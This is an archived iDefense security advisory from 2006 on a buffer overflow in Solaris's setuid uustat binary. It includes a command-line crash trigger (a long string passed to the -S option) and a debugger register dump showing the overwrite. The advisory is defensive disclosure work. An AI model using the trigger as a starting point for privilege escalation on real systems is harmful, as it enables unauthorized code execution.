

# [VulnWatch] iDefense Security Advisory 01.10.06: Sun Solaris uustat Buffer Overflow Vulnerability

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2006-01/msg00006.html>

---

- *From:* "labs-no-reply@xxxxxxxxxxxx" <labs-no-reply@xxxxxxxxxxxx>
  - *Date:* Tue, 10 Jan 2006 09:58:50 -0500
- 

Sun Solaris uustat Buffer Overflow Vulnerability

iDefense Security Advisory 01.10.06  
<http://www.idefense.com/intelligence/vulnerabilities/display.php?id=366>  
January 10, 2006

## I. BACKGROUND

The uustat binary (part of the uucp project) is used to display or cancel uucp requests as well as to provide general status on uucp connections to other systems.

## II. DESCRIPTION

There exists a buffer overflow vulnerability in the /usr/bin/uustat binary in Sun Solaris 5.8 and 5.9.

The uustat binary is installed setuid "uucp" by default on Solaris. The "-S" command line argument causes the binary to crash when followed with a string that is greater than or equal to 1152 bytes in length.

The following shows the buffer being overflowed and then the ol register being completely overwritten with the letter 'A':

```
bash-2.03% ls -l /usr/bin/uustat
```

## [VulnWatch] iDefense Security Advisory 01.10.06: Sun Solaris uustat Buffer Overflow Vulnerability

```
---s--x--x  1 uucp      uucp      62012 Jan 17 16:07 uustat
```

```
bash-2.03$ /usr/bin/uustat -S `perl -e 'print "A"x3000'`
Segmentation Fault
bash-2.03$
(gdb) info registers
g0                0x0          0
g1                0xff315e98   -13541736
g2                0x1cc00     117760
g3                0x440       1088
g4                0x0          0
g5                0x0          0
g6                0x0          0
g7                0x0          0
o0                0xff3276a8   -13470040
o1                0x41414141   1094795585
...
```

### III. ANALYSIS

By exploiting this buffer overflow, an attacker can potentially gain control of the return address of the executing function, allowing arbitrary code execution with "uucp" privileges.

### IV. DETECTION

Solaris 8 and 9 are running on SPARC and x86 architectures are vulnerable.

### V. WORKAROUND

iDefense is currently unaware of any workarounds for this issue.

### VI. VENDOR RESPONSE

The vendor has released the following advisory to address this issue:

## [VulnWatch] iDefense Security Advisory 01.10.06: Sun Solaris uustat Buffer Overflow Vulnerability

<http://sunsolve.sun.com/search/document.do?assetkey=1-26-101933-1>

### VII. CVE INFORMATION

The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2004-0780 to this issue. This is a candidate for inclusion in the CVE list (<http://cve.mitre.org>), which standardizes names for security problems.

### VIII. DISCLOSURE TIMELINE

08/11/2004	Initial vendor contact
08/11/2004	Initial vendor response
01/10/2006	Coordinated public disclosure

### IX. CREDIT

Angelo Rosiello (<http://www.rosiello.org>) is credited with discovering this vulnerability.

Get paid for vulnerability research  
<http://www.odefense.com/poi/teams/vcp.jsp>

Free tools, research and upcoming events  
<http://labs.odefense.com>

### X. LEGAL NOTICES

Copyright (c) 2006 iDefense, Inc.

Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDefense. If you wish to reprint the whole or any

## [VulnWatch] iDefense Security Advisory 01.10.06: Sun Solaris uustat Buffer Overflow Vulnerability

part of this alert in any other medium other than electronically, please email customerservice@xxxxxxxxxxxxx for permission.

Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information.